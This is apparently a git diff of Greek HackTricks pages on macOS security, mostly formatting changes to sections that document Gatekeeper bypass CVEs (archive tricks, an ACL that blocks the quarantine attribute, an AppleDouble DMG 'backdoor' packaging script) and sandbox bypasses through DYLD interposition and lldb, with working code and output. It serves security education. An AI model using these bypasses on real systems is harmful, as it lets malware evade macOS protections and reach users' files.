|
||||||
Ελέγξτε την [**αρχική αναφορά**](https://ronmasas.com/posts/bypass-macos-gatekeeper) για περισσότερες πληροφορίες.
|
Ελέγξτε την [**αρχική αναφορά**](https://ronmasas.com/posts/bypass-macos-gatekeeper) για περισσότερες πληροφορίες.
|
||||||
|
|
||||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||||
|
|
||||||
Σε αυτήν την παράκαμψη δημιουργήθηκε ένα αρχείο zip με μια εφαρμογή που ξεκινά τη συμπίεση από το `application.app/Contents` αντί για το `application.app`. Επομένως, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, που ήταν αυτό που ελέγχονταν από
|
Σε αυτήν την παράκαμψη δημιουργήθηκε ένα αρχείο zip με μια εφαρμογή που ξεκινά τη συμπίεση από το `application.app/Contents` αντί για το `application.app`. Επομένως, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, που ήταν αυτό που ελέγχονταν από
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
zip -r test.app/Contents test.zip
|
zip -r test.app/Contents test.zip
|
||||||
```
|
```
|
||||||
|
|
||||||
Ελέγξτε την [**αρχική αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) για περισσότερες πληροφορίες.
|
Ελέγξτε την [**αρχική αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) για περισσότερες πληροφορίες.
|
||||||
|
|
||||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||||
|
|
||||||
Ακόμα κι αν οι συστατικές είναι διαφορετικές, η εκμετάλλευση αυτής της ευπάθειας είναι πολύ παρόμοια με την προηγούμενη. Σε αυτήν την περίπτωση, θα δημιουργήσουμε ένα Apple Archive από το **`application.app/Contents`**, έτσι ώστε το **`application.app` να μην λάβει το χαρακτηριστικό καραντίνας** όταν αποσυμπιέζεται από το **Archive Utility**.
|
Ακόμα κι αν οι συστατικές είναι διαφορετικές, η εκμετάλλευση αυτής της ευπάθειας είναι πολύ παρόμοια με την προηγούμενη. Σε αυτήν την περίπτωση, θα δημιουργήσουμε ένα Apple Archive από το **`application.app/Contents`**, έτσι ώστε το **`application.app` να μην λάβει το χαρακτηριστικό καραντίνας** όταν αποσυμπιέζεται από το **Archive Utility**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
aa archive -d test.app/Contents -o test.app.aar
|
aa archive -d test.app/Contents -o test.app.aar
|
||||||
```
|
```
|
||||||
|
|
||||||
Ελέγξτε την [**αρχική αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) για περισσότερες πληροφορίες.
|
Ελέγξτε την [**αρχική αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) για περισσότερες πληροφορίες.
|
||||||
|
|
||||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||||
|
|
||||||
Το ACL **`writeextattr`** μπορεί να χρησιμοποιηθεί για να αποτρέψει οποιονδήποτε από το να γράψει ένα χαρακτηριστικό σε ένα αρχείο:
|
Το ACL **`writeextattr`** μπορεί να χρησιμοποιηθεί για να αποτρέψει οποιονδήποτε από το να γράψει ένα χαρακτηριστικό σε ένα αρχείο:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
touch /tmp/no-attr
|
touch /tmp/no-attr
|
||||||
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||||
xattr -w attrname vale /tmp/no-attr
|
xattr -w attrname vale /tmp/no-attr
|
||||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||||
```
|
```
|
||||||
|
|
||||||
Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβάνοντας τις ACEs του.
|
Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβάνοντας τις ACEs του.
|
||||||
|
|
||||||
Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατό να δούμε ότι η αναπαράσταση κειμένου του ACL που αποθηκεύεται μέσα στο xattr με το όνομα **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπιέσετε μια εφαρμογή σε ένα αρχείο zip με τη μορφή αρχείου **AppleDouble** και έχετε ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr της καραντίνας δεν θα οριστεί στην εφαρμογή:
|
Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατό να δούμε ότι η αναπαράσταση κειμένου του ACL που αποθηκεύεται μέσα στο xattr με το όνομα **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπιέσετε μια εφαρμογή σε ένα αρχείο zip με τη μορφή αρχείου **AppleDouble** και έχετε ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr της καραντίνας δεν θα οριστεί στην εφαρμογή:
|
||||||
|
@ -370,17 +360,19 @@ python3 -m http.server
|
||||||
Ελέγξτε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες.
|
Ελέγξτε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες.
|
||||||
|
|
||||||
Σημειώστε ότι αυτό μπορεί επίσης να εκμεταλλευτεί με το AppleArchives:
|
Σημειώστε ότι αυτό μπορεί επίσης να εκμεταλλευτεί με το AppleArchives:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mkdir app
|
mkdir app
|
||||||
touch app/test
|
touch app/test
|
||||||
chmod +a "everyone deny write,writeattr,writeextattr" app/test
|
chmod +a "everyone deny write,writeattr,writeextattr" app/test
|
||||||
aa archive -d app -o test.aar
|
aa archive -d app -o test.aar
|
||||||
```
|
```
|
||||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
|
||||||
|
#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||||
|
|
||||||
Ανακαλύφθηκε ότι το **Google Chrome δεν έθετε το χαρακτηριστικό καραντίνας** σε κατεβασμένα αρχεία λόγω ορισμένων εσωτερικών προβλημάτων του macOS.
|
Ανακαλύφθηκε ότι το **Google Chrome δεν έθετε το χαρακτηριστικό καραντίνας** σε κατεβασμένα αρχεία λόγω ορισμένων εσωτερικών προβλημάτων του macOS.
|
||||||
|
|
||||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||||
|
|
||||||
Τα αρχεία μορφής AppleDouble αποθηκεύουν τα χαρακτηριστικά ενός αρχείου σε ένα ξεχωριστό αρχείο που ξεκινά με `._`, αυτό βοηθά στην αντιγραφή των χαρακτηριστικών των αρχείων **σε διάφορες συσκευές macOS**. Ωστόσο, παρατηρήθηκε ότι μετά την αποσυμπίεση ενός αρχείου AppleDouble, το αρχείο που ξεκινά με `._` **δεν είχε το χαρακτηριστικό καραντίνας**.
|
Τα αρχεία μορφής AppleDouble αποθηκεύουν τα χαρακτηριστικά ενός αρχείου σε ένα ξεχωριστό αρχείο που ξεκινά με `._`, αυτό βοηθά στην αντιγραφή των χαρακτηριστικών των αρχείων **σε διάφορες συσκευές macOS**. Ωστόσο, παρατηρήθηκε ότι μετά την αποσυμπίεση ενός αρχείου AppleDouble, το αρχείο που ξεκινά με `._` **δεν είχε το χαρακτηριστικό καραντίνας**.
|
||||||
|
|
||||||
|
@ -398,6 +390,7 @@ aa archive -d test/ -o test.aar
|
||||||
|
|
||||||
Με τη δυνατότητα δημιουργίας ενός αρχείου που δεν θα έχει το χαρακτηριστικό καραντίνας, ήταν **δυνατό να παρακάμψουμε το Gatekeeper**. Το κόλπο ήταν να **δημιουργήσουμε ένα αρχείο DMG εφαρμογή** χρησιμοποιώντας το συμβατικό όνομα AppleDouble (ξεκινάμε με `._`) και να δημιουργήσουμε ένα **ορατό αρχείο ως σύνδεσμος προς αυτό το κρυφό** αρχείο χωρίς το χαρακτηριστικό καραντίνας.\
|
Με τη δυνατότητα δημιουργίας ενός αρχείου που δεν θα έχει το χαρακτηριστικό καραντίνας, ήταν **δυνατό να παρακάμψουμε το Gatekeeper**. Το κόλπο ήταν να **δημιουργήσουμε ένα αρχείο DMG εφαρμογή** χρησιμοποιώντας το συμβατικό όνομα AppleDouble (ξεκινάμε με `._`) και να δημιουργήσουμε ένα **ορατό αρχείο ως σύνδεσμος προς αυτό το κρυφό** αρχείο χωρίς το χαρακτηριστικό καραντίνας.\
|
||||||
Όταν το **αρχείο dmg εκτελείται**, καθώς δεν έχει το χαρακτηριστικό καραντίνας, θα **παρακάμπτει το Gatekeeper**.
|
Όταν το **αρχείο dmg εκτελείται**, καθώς δεν έχει το χαρακτηριστικό καραντίνας, θα **παρακάμπτει το Gatekeeper**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Create an app bundle with the backdoor an call it app.app
|
# Create an app bundle with the backdoor an call it app.app
|
||||||
|
|
||||||
|
@ -413,20 +406,11 @@ ln -s ._app.dmg s/app/app.dmg
|
||||||
echo "[+] compressing files"
|
echo "[+] compressing files"
|
||||||
aa archive -d s/ -o app.aar
|
aa archive -d s/ -o app.aar
|
||||||
```
|
```
|
||||||
### Αποτροπή Χαρακτηριστικού Καραντίνας
|
|
||||||
|
#### Αποτροπή Χαρακτηριστικού Καραντίνας
|
||||||
|
|
||||||
Σε ένα πακέτο ".app", αν το χαρακτηριστικό καραντίνας δεν προστεθεί σε αυτό, όταν το εκτελέσουμε **δεν θα ενεργοποιηθεί ο Gatekeeper**.
|
Σε ένα πακέτο ".app", αν το χαρακτηριστικό καραντίνας δεν προστεθεί σε αυτό, όταν το εκτελέσουμε **δεν θα ενεργοποιηθεί ο Gatekeeper**.
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
|
||||||
|
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -42,13 +42,16 @@
|
||||||
### Κατάχρηση της λειτουργίας Open
|
### Κατάχρηση της λειτουργίας Open
|
||||||
|
|
||||||
Στα [**τελευταία παραδείγματα παράκαμψης του sandbox του Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) μπορεί
|
Στα [**τελευταία παραδείγματα παράκαμψης του sandbox του Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) μπορεί
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ld -o shell shell.o -macosx_version_min 13.0
|
ld -o shell shell.o -macosx_version_min 13.0
|
||||||
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
||||||
```
|
```
|
||||||
|
|
||||||
### Εξουσιοδοτήσεις
|
### Εξουσιοδοτήσεις
|
||||||
|
|
||||||
Σημειώστε ότι ακόμα κι αν ορισμένες **ενέργειες** επιτρέπονται από το **αμμοβολίστρα** αν μια εφαρμογή έχει μια συγκεκριμένη **εξουσιοδότηση**, όπως στο παράδειγμα:
|
Σημειώστε ότι ακόμα κι αν ορισμένες **ενέργειες** επιτρέπονται από το **αμμοβολίστρα** αν μια εφαρμογή έχει μια συγκεκριμένη **εξουσιοδότηση**, όπως στο παράδειγμα:
|
||||||
|
|
||||||
```scheme
|
```scheme
|
||||||
(when (entitlement "com.apple.security.network.client")
|
(when (entitlement "com.apple.security.network.client")
|
||||||
(allow network-outbound (remote ip))
|
(allow network-outbound (remote ip))
|
||||||
|
@ -58,15 +61,17 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
|
||||||
(global-name "com.apple.cfnetwork.cfnetworkagent")
|
(global-name "com.apple.cfnetwork.cfnetworkagent")
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Διάβαση Παράκαμψης
|
### Διάβαση Παράκαμψης
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες σχετικά με τη **Διάβαση Παράκαμψης**, ανατρέξτε στο:
|
Για περισσότερες πληροφορίες σχετικά με τη **Διάβαση Παράκαμψης**, ανατρέξτε στο:
|
||||||
|
|
||||||
{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %}
|
{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %}
|
||||||
[macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md)
|
[macos-function-hooking.md](../../../macos-proces-abuse/macos-function-hooking.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
#### Διάβαση Παράκαμψης του `_libsecinit_initializer` για την αποτροπή του sandbox
|
#### Διάβαση Παράκαμψης του `_libsecinit_initializer` για την αποτροπή του sandbox
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||||
|
|
||||||
|
@ -90,6 +95,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||||||
_libsecinit_initializer called
|
_libsecinit_initializer called
|
||||||
Sandbox Bypassed!
|
Sandbox Bypassed!
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Ενδιάμεση `__mac_syscall` για την αποτροπή του Sandbox
|
#### Ενδιάμεση `__mac_syscall` για την αποτροπή του Sandbox
|
||||||
|
|
||||||
{% code title="interpose.c" %}
|
{% code title="interpose.c" %}
|
||||||
|
@ -125,6 +131,7 @@ __attribute__((used)) static const struct interpose_sym interposers[] __attribut
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||||||
|
|
||||||
|
@ -136,18 +143,21 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
|
||||||
__mac_syscall invoked. Policy: Sandbox, Call: 4
|
__mac_syscall invoked. Policy: Sandbox, Call: 4
|
||||||
Sandbox Bypassed!
|
Sandbox Bypassed!
|
||||||
```
|
```
|
||||||
|
|
||||||
### Αποσφαλμάτωση και παράκαμψη του Sandbox με το lldb
|
### Αποσφαλμάτωση και παράκαμψη του Sandbox με το lldb
|
||||||
|
|
||||||
Ας συντάξουμε μια εφαρμογή που θα πρέπει να είναι σε sandbox:
|
Ας συντάξουμε μια εφαρμογή που θα πρέπει να είναι σε sandbox:
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="sand.c" %}
|
{% tab title="undefined" %}
|
||||||
```c
|
```c
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
int main() {
|
int main() {
|
||||||
system("cat ~/Desktop/del.txt");
|
system("cat ~/Desktop/del.txt");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="entitlements.xml" %}
|
{% tab title="entitlements.xml" %}
|
||||||
```xml
|
```xml
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
@ -157,7 +167,6 @@ system("cat ~/Desktop/del.txt");
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
{% tab title="Info.plist" %}
|
|
||||||
|
|
||||||
Το αρχείο Info.plist είναι ένα αρχείο ρυθμίσεων που χρησιμοποιείται για να περιγράψει τις διάφορες ρυθμίσεις και δυνατότητες μιας εφαρμογής στο macOS. Περιέχει πληροφορίες όπως το όνομα της εφαρμογής, τον αριθμό έκδοσης, τον αριθμό της έκδοσης του λειτουργικού συστήματος που υποστηρίζεται και άλλες σχετικές ρυθμίσεις. Το Info.plist είναι σημαντικό για την ασφάλεια της εφαρμογής, καθώς περιέχει πληροφορίες για τις απαιτούμενες δικαιώματα και περιορισμούς πρόσβασης που επιβάλλονται από το sandbox του macOS.
|
Το αρχείο Info.plist είναι ένα αρχείο ρυθμίσεων που χρησιμοποιείται για να περιγράψει τις διάφορες ρυθμίσεις και δυνατότητες μιας εφαρμογής στο macOS. Περιέχει πληροφορίες όπως το όνομα της εφαρμογής, τον αριθμό έκδοσης, τον αριθμό της έκδοσης του λειτουργικού συστήματος που υποστηρίζεται και άλλες σχετικές ρυθμίσεις. Το Info.plist είναι σημαντικό για την ασφάλεια της εφαρμογής, καθώς περιέχει πληροφορίες για τις απαιτούμενες δικαιώματα και περιορισμούς πρόσβασης που επιβάλλονται από το sandbox του macOS.
|
||||||
|
|
||||||
|
@ -165,7 +174,6 @@ system("cat ~/Desktop/del.txt");
|
||||||
|
|
||||||
Για να παρακάμψετε το sandbox του macOS, μπορείτε να τροποποιήσετε το Info.plist της εφαρμογής. Αυτό μπορεί να γίνει με διάφορους τρόπους, όπως την προσθήκη επιπλέον δικαιωμάτων πρόσβασης ή την απενεργοποίηση των περιορισμών που επιβάλλονται από το sandbox. Ωστόσο, πρέπει να ληφθεί υπόψη ότι η παράκαμψη του sandbox μπορεί να αποτελέσει ασφαλειακό κίνδυνο και να επιτρέψει την πρόσβαση σε ευαίσθητες πληροφορίες ή λειτουργίες του συστήματος.
|
Για να παρακάμψετε το sandbox του macOS, μπορείτε να τροποποιήσετε το Info.plist της εφαρμογής. Αυτό μπορεί να γίνει με διάφορους τρόπους, όπως την προσθήκη επιπλέον δικαιωμάτων πρόσβασης ή την απενεργοποίηση των περιορισμών που επιβάλλονται από το sandbox. Ωστόσο, πρέπει να ληφθεί υπόψη ότι η παράκαμψη του sandbox μπορεί να αποτελέσει ασφαλειακό κίνδυνο και να επιτρέψει την πρόσβαση σε ευαίσθητες πληροφορίες ή λειτουργίες του συστήματος.
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
```xml
|
```xml
|
||||||
<plist version="1.0">
|
<plist version="1.0">
|
||||||
<dict>
|
<dict>
|
||||||
|
@ -196,12 +204,14 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Η εφαρμογή θα προσπαθήσει να **διαβάσει** το αρχείο **`~/Desktop/del.txt`**, το οποίο ο **Sandbox δεν επιτρέπει**.\
|
Η εφαρμογή θα προσπαθήσει να **διαβάσει** το αρχείο **`~/Desktop/del.txt`**, το οποίο ο **Sandbox δεν επιτρέπει**.\
|
||||||
Δημιουργήστε ένα αρχείο εκεί, καθώς μόλις παρακάμψετε το Sandbox, θα μπορεί να το διαβάσει:
|
Δημιουργήστε ένα αρχείο εκεί, καθώς μόλις παρακάμψετε το Sandbox, θα μπορεί να το διαβάσει:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo "Sandbox Bypassed" > ~/Desktop/del.txt
|
echo "Sandbox Bypassed" > ~/Desktop/del.txt
|
||||||
```
|
```
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Ας εκτελέσουμε αποσφαλμάτωση στην εφαρμογή για να δούμε πότε φορτώνεται ο Αμμοδοχείο (Sandbox):
|
Ας εκτελέσουμε αποσφαλμάτωση στην εφαρμογή για να δούμε πότε φορτώνεται ο Αμμοδοχείο (Sandbox):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Load app in debugging
|
# Load app in debugging
|
||||||
lldb ./sand
|
lldb ./sand
|
||||||
|
@ -278,6 +288,7 @@ Process 2517 resuming
|
||||||
Sandbox Bypassed!
|
Sandbox Bypassed!
|
||||||
Process 2517 exited with status = 0 (0x00000000)
|
Process 2517 exited with status = 0 (0x00000000)
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**Ακόμα και αν ο προστατευτικός τοίχος του Sandbox έχει παρακαμφθεί, το TCC** θα ζητήσει από τον χρήστη να επιτρέψει στη διεργασία να διαβάσει αρχεία από την επιφάνεια εργασίας.
|
**Ακόμα και αν ο προστατευτικός τοίχος του Sandbox έχει παρακαμφθεί, το TCC** θα ζητήσει από τον χρήστη να επιτρέψει στη διεργασία να διαβάσει αρχεία από την επιφάνεια εργασίας.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -297,7 +308,7 @@ Process 2517 exited with status = 0 (0x00000000)
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -27,11 +27,13 @@
|
||||||
Υπάρχει ένα **tccd χρήστη σε λειτουργία χρήστη** που τρέχει ανά λογαριασμό χρήστη που ορίζεται στο `/System/Library/LaunchAgents/com.apple.tccd.plist` καταχωρίζοντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`.
|
Υπάρχει ένα **tccd χρήστη σε λειτουργία χρήστη** που τρέχει ανά λογαριασμό χρήστη που ορίζεται στο `/System/Library/LaunchAgents/com.apple.tccd.plist` καταχωρίζοντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||||
|
|
||||||
Εδώ μπορείτε να δείτε το tccd να τρέχει ως σύστημα και ως χρήστη:
|
Εδώ μπορείτε να δείτε το tccd να τρέχει ως σύστημα και ως χρήστη:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ps -ef | grep tcc
|
ps -ef | grep tcc
|
||||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||||
```
|
```
|
||||||
|
|
||||||
Οι άδειες κληρονομούνται από τη γονική εφαρμογή και τα δικαιώματα παρακολουθούνται με βάση το Bundle ID και το Developer ID.
|
Οι άδειες κληρονομούνται από τη γονική εφαρμογή και τα δικαιώματα παρακολουθούνται με βάση το Bundle ID και το Developer ID.
|
||||||
|
|
||||||
### Βάσεις Δεδομένων TCC
|
### Βάσεις Δεδομένων TCC
|
||||||
|
@ -135,6 +137,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||||
<summary>Πώς να εκτελέσετε αν είναι απόλυτη διαδρομή</summary>
|
